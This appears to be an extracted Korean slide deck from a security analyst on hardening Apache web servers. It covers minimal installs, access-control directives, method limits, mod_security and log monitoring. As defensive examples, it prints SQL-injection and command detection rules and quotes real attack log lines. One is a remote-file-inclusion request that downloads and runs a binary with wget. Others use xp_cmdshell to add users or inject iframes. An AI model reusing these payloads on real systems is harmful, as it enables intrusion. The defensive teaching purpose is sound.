Exploring Apache Security Kwanjin Jung, Security Analyst AhnLab Inc,.
지금여러분들의관점은? 개발자관점 서버관리자관점 운영자관점
왜웹의환경에주목해야하는가? 많은산업군들이이제인터넷기반의비즈니스를수행하고있다. 해마다웹을이용한공격은크게증가하고있다. 이제 웹해킹 이란단어는일반적인용어 웹을통한사고의주된원인은? 웹서버의운영체제및서버소프트웨어의취약점 웹애플리케이션
웹서버의위협 다양한웹공격 서비스거부공격 DoS, DDoS, DRDoS 홈페이지변조 웹서버또는애플리케이션의취약점활용 SQL Injection, XSS, 잘못된설정 웹사이트와웹애플리케이션의대중화 악성코드의확산을위한창구
왜웹서버공격이증가하는가? 일반적으로방화벽에서 80, 443 번포트는허용된다. 즉, 다른포트번호가차단되었다하더라도이포트번호는외부에서는유효하다. 가장범용적으로사용되는프로토콜중의하나이다. 많은지식을필요로하지않으며, URL 상의간단한조작및유추등이가능하다. 해킹을위한많은도구를필요로하지않으며, 웹브라우저하나만으로도가능하다.
웹서버고려사항은무엇인가? 하드웨어 소프트웨어 관리 보안 비용 내용 이제가장중요하게고려되어야할부분이다
웹서버구성환경요소 여러분은어떤보안대비책을가지고있나요? 아래의환경은일반적인웹구성환경입니다. 모든보안수준을만족시킬까요? 방화벽 웹서비스를위한 80, 443 번오픈 응용프로그램응용프로그램 DB 웹이용자 X 다른포트의접속은차단 Web Server 응용프로그램
안전한웹서버 만들기 Step by Step
운영체제준비 운영체제서비스의최소화 /etc/inetd.conf 에등록되어있는서비스를최소화 웹서비스용도에따라적합한운영체제선택 불필요한네트워크서비스제거 - rlogin,rsh,rexec,rcp rsh rexec rcp 등의서비스 - NFS, FTP, sendmail SSH, IPChain, IPFilter, TCPWrapper 등과같은보안프로그램의사용 보안패치파일, 보안뉴스및소식등을얻을수있는온라인자원의활용 - www.cert.org, www.certcc.or.kr - www.securityfocus.com
웹서버준비와체크 아파치다운로드 - 검증된사이트에서다운된파일인가? http://mirror.apache-kr.org/httpd/ p p (3 시간마다 apache.org 에서미러링 ) 파일의무결성체크 - PGP 서명검증 % pgp -ka KEYS % pgp httpd-2.2.8.tar.gz.asc - MD5 Checksum 확인 패치파일이존재하는경우 # cd apache_source_directory # patch p0 < patchfilename.patch
아파치컴파일및설치 필요한모듈만사용될수있도록모듈의설치를최소화한다. httpd_core, mod_dir, mod_access, mod_auth, mod_log_config, mod_mime mime 바이너리파일을직접설치하기보다는입맛에맞게컴파일하여최적화수행을권장한다. #./configure --disable-module=all --enablemodule=dir --enable-module=access [ ] 동적모듈의방법을이용하는경우에는다음과같이컴파일한후, LoadModule 지시어를통하여필요한모듈만로드한다. #./configure --enable-module=most \ --enable-shared=max [ ]
아파치동작권한설정 Users, Group 의 root 설정금지 사용자에따른적절한권한설정 - 웹서버동작 - 웹마스터 - 웹개발자 - 웹저작자 실제서비스와테스트웹서버를구분 테스트에의한불필요정보가노출될수있다. 아파치웹서버파일및디렉토리권한 # cd /usr/local/apache # chown 0. bin conf logs # chgrp 0. bin conf logs # chmod 755. bin conf logs # chown 0 /usr/local/apache/bin/httpd # chgrp 0 /usr/local/apache/bin/httpd # chmod 511 /usr/local/apache/bin/httpd
DocumentRoot 에대한조언 아파치파일및 HTML 문서의무결성체크 - TripWire -MD5 #md5sum`find / -type f print` > md5_list 중요파일은 DocumentRoot 에넣어두지않는다. 홈페이지에공개되어있지않다고해서노출되지않는것이아니다. 임시파일 bak 및파싱되어처리되지않는파일은주의 외부에노출될필요가없는것은쉽게유추및추정할수있는파일또는디렉토리이름을사용하지않는다. /admin, /test, /backup, /manage Robot.txt 사용주의 관리자페이지는적절한접근제어방식을사용하라 왜? 관리자페이지를떳떳하게노출시키고계신가요.
Googling Your Webserver 부적절한패스워드사용및기본계정사용 admin/admin, manager/manger, system/system, admin/djemals, root/root 관리자 / 개인용페이지접근제한노출 검색엔진을통해 3 분여동안찾을수있었던사이트는? /admin, /manage, 관리자, 관리자모드등의단순검색어이용.bak,.log,.inc 등
정보출력제한 불필요한정보의출력은공격의위험을더욱가중시킨다. 정보출력제한지시어이용 ServerSignature Si Off ServerTokens ProductOnly 서버의버전정보제한 % vi include/httpd.h ( 아파치 1.3.X) % vi include/ap_release.h ( 아파치 2.X) #define SERVER_BASEVENDOR "Apache Group" #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1 1.3.41 341" 디렉토리인덱스출력제거 Options -Indexes
Robots.txt 가더큰위험을 웹로봇을제한하는 robots.txt txt 에검색을제한하는경로를입력할경우해당경로가오히려노출이될수있다. 다음파일에서무엇을추정해볼수있을까요? User-agent: * Disallow: /stats/ Disallow: /admin/ Disallow: /develop/ 다음의사례는공개된 robots.txt 에서 test 라는폴더에접근한경우
아파치설정지시어활용 Options 지시어 ExecCGI : CGI 스크립트실행권한부여 FollowSymLinks : 심볼릭링크허용 Includes : SSI(Server Side Includes) 의허용! SSI 는보안상몇가지잠재적인위험이있다. IncludesNOEXEC : #exec 의기능을제외한 SSI 허용 Indexes : 디렉토리리스트출력 CoreDumpDirectory ErrorLog 시스템설정보호사용자에의한설정정보변경방지 (.htaccess) <Directory /> AllowOverride None </Directory>
에러출력제한 스크립트의에러메시지가많은정보를노출시킬수있다. 이경우메시지를좀더친근한형태로바꾸면서정보노출을제한하도록한다. ErrorDocument 지시어를활용 기본적으로하드코딩된메시지대신다른메시지로출력 로컬 URL 로리다이렉트 외부 URL 로리다이렉트 사용예 ErrorDocument 500 http://foo.example.com/cgi-bin/tester ErrorDocument 404 /cgi-bin/bad_urls.pl ErrorDocument 401 /Subscription/how_to_subscribe.html ErrorDocument 403 "Sorry can't allow you access today ErrorDocument 500 /cgi-bin/crash-recover
접근제어지시어활용 영역 / 범위설정지시어 <Directory>, <DirectoryMatch> <Files>, <FileMatch> <Location>, <LocationMatch> <Limit>, it <LimitExcept> ite t 사용예 1) 확장자가.pl 이거나 localconfig 문자열이들어가거나 check.sh 의파일에매치되는것이있으면모든접근을거부 <FilesMatch ^(.*\.pl.*localconfig.* check.sh)$> deny from all </FilesMatch> 2) URL 경로에 /private/data 또는 /special/data 문자열이검출되면 <Location> 과 </Location> 섹션안에지정한지시어들을수행 <Location ~ /(private special)/data > >
중요파일정보제한 설정정보를담고있는파일의접근차단 (.htaccess,.htpasswd) <Files ~ "^\.ht"> Order allow,deny Deny from all </Files> 특정확장자파일접근차단 <filesmatch "\ \.(inc tpl h ihtml sql ini conf bin spd theme module)$ (inc tpl h ihtml sql ini conf bin spd theme module)$"> Deny from all </filesmatch> <files ~ "\config \config.php$ php$"> Deny from all </files> 임시파일및백업파일은 DocumentRoot 이외의경로에넣어둔다. 기본아파치설정파일은삭제 htdocs cgi-bin
인증을통한접근제어 GET /protected HTTP/1.1 Web Server 기본인증방법 HTTP/1.1 1 401 Authorization Required Digest Radius LDAP GET /protected HTTP/1.1 Oracle Authorization: Basic aw50zxhwomludgv4cdawnw==.. <Location /protected> Auth OK 요청한문서를보여준다. AuthName Members AuthType Basic AuthUserFile /usr/local/httpd/users Require valid-user </Location> 접근은허용하지만인증된특정사용자에게만접근을허락한다. 인증과함께특정 IP 로부터의접근제한도동시에사용한다. Satisfy Any All 기본인증은외부의노출로부터안전하지않다. MD5, SSL 의방법을이용할수있다.
호스트접근제어 접근제어모듈 mod_access - allow -deny - order <Directory /internal-only/> Order deny,allow Deny from all Allow from localhost 192.168.23.0/255.255.255.0 </Directory> 다양한접근제어모듈 - Extended Access Control(mod_eaccess) 정규표현식을이용하여 URL, HTTP 요청방법, URI, QUERY_STRING 등을기준으로접근제어가능 - RBL(Realtime Blackhole List) mod_access_rbl
접근제어고급활용 확장자별접근제어 환경변수접근제어 html( 또는 htm), jpg( 또는 jpeg), bmp, gif 파일이외의접근은허용되지않으며, 이외의파일에접근하게되면접근에러메시지인 access_violation.html 내용을보여주게된다. <Directory /home/apache/htdocs> Order deny,allow Deny from all <FilesMatch \.(html? jpe?g bmp gif)$ > Order deny,allow Allow from all </FilesMatch> ErrorDocument 403 /access_violation.html l </Directory> 브라우저가인터넷익스플로러인경우에는 InternetExplorer 환경변수를설정하고 deny 지시어로모든접근을거부하고, allow 지시어를통해 InternetExplorer te 로환경설정된브라우저의접속만허용 BrowserMatch ^MSIE InternetExplorer <Directory /msie_html/> Order deny,allow Deny from all Allow from env=internetexplorer te </Directory>
HTTP Method 제한 필요한메소드로만제한 <LimitExcept GET POST OPTIONS PROPFIND> Order deny,allow Deny from all </LimitExcept> TRACE 메소드제한 mod_rewrite 모듈의사용 RewriteEngine i on RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule. * [F]
CGI 스크립트안전한사용 잘못된스크립트의사용은시스템정보를노출하거나명령어실행등의큰위험을가질수있다. CGI 사용의위험을줄이기위한방법 - CGIWrap(http://prdownloads.sourceforge.net/cgiwrap sourceforge net/cgiwrap ) - suexec(setuserid Execution) 아파치에서자체적으로제공해주는프로그램 스크립트사용시특정경로로한정 ScriptAlias Options 의 ExecCGI 아파치 ScriptLog 지시어 -ScriptLog - ScriptLogLength - ScriptLogBuffer
스팸봇차단 자동화된악성로봇의등장 사이트내용의복사또는필요한정보의추출 - 라이센스 - 스팸메일정보추출에악용 환경변수의정보를이용하여특정에이전트의차단 e.g) rewrite 모듈의기능활용 RewriteCond %{REQUEST_FILENAME} html?$ [OR] RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR] RewriteCond %{HTTP_USER_AGENT} ^Teleport [OR] RewriteCond %{HTTP_USER_AGENT} ^WebCopy [OR] RewriteCond %{HTTP _ USER _ AGENT} ^WebStripper [OR] RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [OR] RewriteCond %{HTTP_USER_AGENT} ^UrlScope [OR] RewriteRule ^.*$ http://www.apache-kr.org/nospam.html [R]
Chroot 환경의아파치 chroot 환경에서동작하는아파치웹서버의고려 chroot 로지정된이외의곳에접근할수없게되므로보안성은크게높아지게되지만 CGI, PHP, 데이타베이스연동등과같이외부의라이브러리또는바이너리파일을필요로할수있다. 이것은곧, 보안적으로는많은장점을가지고있지만설치및운영이복잡해진다는것을뜻한다. 설치및참고 URL http://www.w3.org/security/faq/wwwsf3.html#svr-q5 http://penguin.epfl.ch/chroot.html http://www.devet.org/apache/chroot/ http://linuxpub.w.interia.pl/howto/apache.html
공개프로그램설치시유의사항 공개애플리케이션설치시적절한설정변경 설치위치경로 실행파일이름 URL 추정만으로도어떤소프트웨어를사용하고어떤버전인지유추할수있다. Default 설치는그위험을더욱증가시킬수있다. 설치된 Application 의업데이트를간과하지마라. 특히보안업데이트는항상관심을기울여야한다.
Attack and Defense More Tips
Buffer Overflow 예방 아파치웹서버의설정 - LimitRequestBody 10240 - LimitRequestFields 40 - LimitRequestFieldsize 100 - LimitRequestLine 500 mod_parmguard 해커로부터입력되는데이터의필터를통하여스크립트를보호한다. http://www.trickytools.com/php/mo p p d_parmguard.php 응용프로그램 - Boundary Check
서비스거부공격 서비스거부공격은웹서비스운영에큰위협 - DoS(Denial of Service) - DDoS, DRDoS 2000 년 2 월 Buy.com, ebay, CNN, Yahoo, Amazon 대형사이트 DDoS 공격 최근에는금전적목적의 DDoS 공격이증가 아파치성능지시어조절 Timeout, KeepAlive, KeepAliveTimeout, StartServers, MinSpareServers, MaxSpareServers, MaxClients RLimitCPU, RLimitMEM, RLimitNPROC 대역폭의조절 -bwshare module - mod_bandwidth - mod_throttle - mod_evasive Apache DoS Evasive Maneuvers Module DoS, DDoS 또는 Brute force 공격등을탐지하고조절할수있는기능을제공 http://www.nuclearelephant.com/projects/dosevasive/
웹서버와악성코드 웹서버가악성코드전파에많이이용되고있다는사실아시나요? 어떤웹서버소프트웨어가배포에많이이용되었을까? 웹서버악성코드배포의재미있는도표하나 ( 구글이작년중순경에 70,000 개의도메인을조사 ) < 국가별웹서버분포 > < 국가별악성코드배포분포 >
취약점을이용한웜사례 0 day Exploit 취약점이보고된후, 이를악용한 Exploit 이나오기까지는그리오랜시간이걸리지않는다. 즉, 빠른속도로확산될수있는웜의출현이가능하다. OpenSSL 취약점을이용한아파치웜 Slapper 사례 - 2002 년 7 월 30 일 OpenSSL 의취약점이보고되었고, 0.96d 이하의버전은문제를가지고있음 - 변형의발견 (Slapper.B,C) http://www.apache-kr.org h 의기술문서참고 외부의접근시도시다음과같은정보가기록됨 # grep ssl /path/to/<http_logname> grep error [Sat Sep 14 18:10:00 2002] [error] [client XX.XX.XX.XX] XX] client sent HTTP/1.1 1 request without t hostname (see RFC2616 section 14.23): / [Sat Sep 14 18:10:16 2002] [error] mod_ssl: SSL handshake failed (server XX.XX.XX.XX:443, client XX.XX.XX.XX) (OpenSSL library error follows) [Sat Sep 14 18:10:16 2002] [error] OpenSSL: error:1406b458:lib(20):func(107):reason(1112)
mod_security 모듈을이용한보안성향상 보안모듈을이용한차단의제안 ModSecurity Open Source: http://www.modsecurity.org GPL 과상업용라이센스 무료또는상업적인지원 아파치버전 1.X, 2.X 지원 웹서버에임베디드되어디자인변경없이보안적인기능향상 modsecurity 의기능 감사로그 정규식표현기반의룰 외부프로그램의수행 제한없는다양한보안정책적용가능 파일업로드체크및실시간검증 버퍼오버플로우방어 Encoding validation
mod_security 컴파일및적용 다운로드 http://www.modsecurity.org/download/ 컴파일 DSO 방식 apxs -cia mod_security.c Static 방식 1. mod_security.c 를 src/modules/extra / 에복사 2. Configure 를이용하여다음과같이정의 : --activate-module=src/modules/extra/mod_security --enable-module=security 3. make & make install 아파치웹서버적용 httpd.conf 파일에 mod_security 파마리터정의 아파치웹서버시작 httpd -t apachectl restart
mod_security 의기본설정 지시어이름만으로도쉽게추정가능한설정파일 <IfModule mod_security.c> SecFilterEngine On /* mod_security 사용 */ SecFilterDefaultAction "deny,log,status:403" SecFilterScanPOST On /* POST 에대해서필터스캔적용 */ SecFilterCheckURLEncoding On SecFilterCheckUnicodeEncoding Off SecFilterForceByteRange 1 255 # SecServerSignature "Microsoft-IIS/5.0" SecUploadDir /tmp SecUploadKeepFiles Off SecAuditEngine RelevantOnly SecAuditLog logs/modsec_audit.log g /* 보안감사로그파일경로 */ SecFilterDebugLevel 0 SecFilterDebugLog logs/modsec_debug.log /* 디버그경로 */ SecFilterSelective REQUEST_METHOD "!^(GET HEAD)$" chain SecFilterSelective HTTP_Content-Type "!(^application/x-www-form- urlencoded$ ^multipart/form-data;) SecFilterSelective REQUEST_METHOD "^POST$" chain SecFilterSelective HTTP_Content-Length "^$ SecFilterSelective HTTP_Transfer-Encoding "!^$" Include conf/modsecurity/apache.conf /* 추가설정파일정보 */ </IfModule>
mod_security 룰사용예제 JavaScript Injection 방지 SecFilter <script SQL Injection 방지 SecFilter DELETE[[:space:]]+FROM 사용자가 admin 이며특정 IP 로부터의접근만을허용 SecFilterSelective ARG_username ^admin$ chain SecFilterSelective REMOTE_ADDR!^192.168.0.1$ 특정명령어제한 SecFilter cmd.exe
mod_security 룰사용예제 User-Agent 헤더의스크립트차단 SecFilterSelective HTTP_REFERER HTTP_USER_AGENT "<[[:space:]]*(script about applet activex chrome)*>.*(script about ap plet activex chrome)[[:space:]]*>" 일반적인 SQL Injection 차단 1) SecFilter "((select grant delete insert drop alter replace truncate update create rename describe)[[:space:]]+[a-z a-z 0-9 \* \,]+[[:space:]]+(from into table databas e index view)[[:space:]]+[a-z a-z 0-9 \* \,] UNION SELECT.*\'.*\'.*,[0-9].*INTO.*FROM) 2) SecFilterSelective ARGS "(or.+1[[:space:]]*=[[:space:]]1 (or 1=1 '.+)-- ')" "id:300014,rev:1,severity:2,msg:'generic SQL injection protection'" 일반적인명령어공격 SecFilterSelective REQUEST_URI ARGS URI ARGS "\ *id\;echo*\ " 명령어차단 SecFilterSelective THE_REQUEST "/usr/bin/perl"
mod_security 탐지 모듈에의해탐지된정보는로그파일에기록되어어떤위협들이웹서버로이뤄지고있는지확인해볼수있다. 탐지된정보를기반으로웹서버에영향을줄수있는것들을검토하여문제가될소지가있는부분은사전에차단한다. 탐지된사례의경우 특정 PHP 를통한원격지명령어실행 Request: www.apache-kr.org 81.214.171.215 - - [28/Nov/2006:11:57:58 +0900] "GET /new s/templates/headline_temp.php?nst_inc=http://artechinstruments.com/tool20.dat?&list= 1&cmd=id HTTP/1.0" 403 230 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)" -"- ---------------------------------------- mod_security-action: 403 mod_security-message: Access denied with code 403. OPTION Method Request: www.apache-kr.org 219.150.198.239 150 198 239 - - [23/Nov/2006:14:32:43 +0900] "OPTIONS * HTTP/1.1" 403 210 "-" "-" - "- CONNECT Request: www.apache-kr.org 61.229.126.135 - - [23/Nov/2006:04:43:35 +0900] "CONNECT mx3.mail2000.com.tw:25 HTTP/1.0" 403 198 "-" "-" - "-"
아파치보안성테스트 주기적으로보안적으로문제없는지테스트할필요성이있다. 수동으로하기에는쉽지않으므로자동화된도구를이용 Nessus(http://www.nessus.org) Nikto(http://www.cirt.net/nikto2) nmap 이외다양한네트워크보안도구 http://sectools.org/
아파치상태관찰 보안강화만큼중요한것이지속적인관리이다. 아파치상태를관찰하며비이상적인행동감시 - 급격한프로세스증가 (100 개이상?) - 시스템의자원현황및전체적인관찰필요 - netstat -an mod _ status 의이용외부에서는접근하지못하도록지정해야한다. <Location /server-status> SetHandler server-status status Order deny,allow Deny from all Allow from localhost </Location>
로그파일분석 로그파일관련지시어 - ErrorLog -LogLevel -LogFormat - CustomLog 로그파일의감시 # tail f logs/access_log # tail f logs/access_log grep 404 로그파일에기록되는비이상적인요청이무엇인가? 1) 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgibin/tools/ctss.idc?ds=localserver&user=sa&pwd=&table=ngt(ng%20int);exec+master..xp_cmdshell(\"cmd.exe+/c %20dir\");-- HTTP/1.0" 404 569 2) [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27.XX] request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_ path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;e cho%20yyy;echo HTTP\x01.1 3) http://victim/url.asp?id=1;exec master..xp_cmdshell net user name password /add 4) http://victim/url.asp?id=1;exec master..xp_cmdshell echo <ifrmae src=http://www.target.com/icyfox.htm width= 0 height= 0 ></iframe> >> c:\inetpub\www\index.html ; 로그파일분석프로그램활용 - WebAlizer - 이외기타자유롭게사용할수있는공개된분석툴이있음
Real World Example 사이트의웹서버로그파일을한번들여다볼까요?
관리자의역할 보안은단한번의설정으로이뤄지지않는다는점을기억 이제보안은선택이아닌 필수 웹서버운영에심각한취약점이발표된경우빠르게대처해야한다. 아파치사이트에서발표하는 Announce 메일링리스트구독 announce-subscribe@httpd.apache.org p 만일의사태를대비하여데이터의백업과주기적인백업절차를마련 보안관련메일링리스트와사이트를통해웹서버와사용하는웹프로그램과관련한보안취약점정보를수집한다. 안전한웹서버의운영을원한다면본인스스로가보안에대한중요성을인지하고지속적인관심을가지고더욱더안전한운영방법을위한노력이필요하다.
어떠세요? 이제여러분들의웹서버를안전하게만들준비가되셨나요
Questions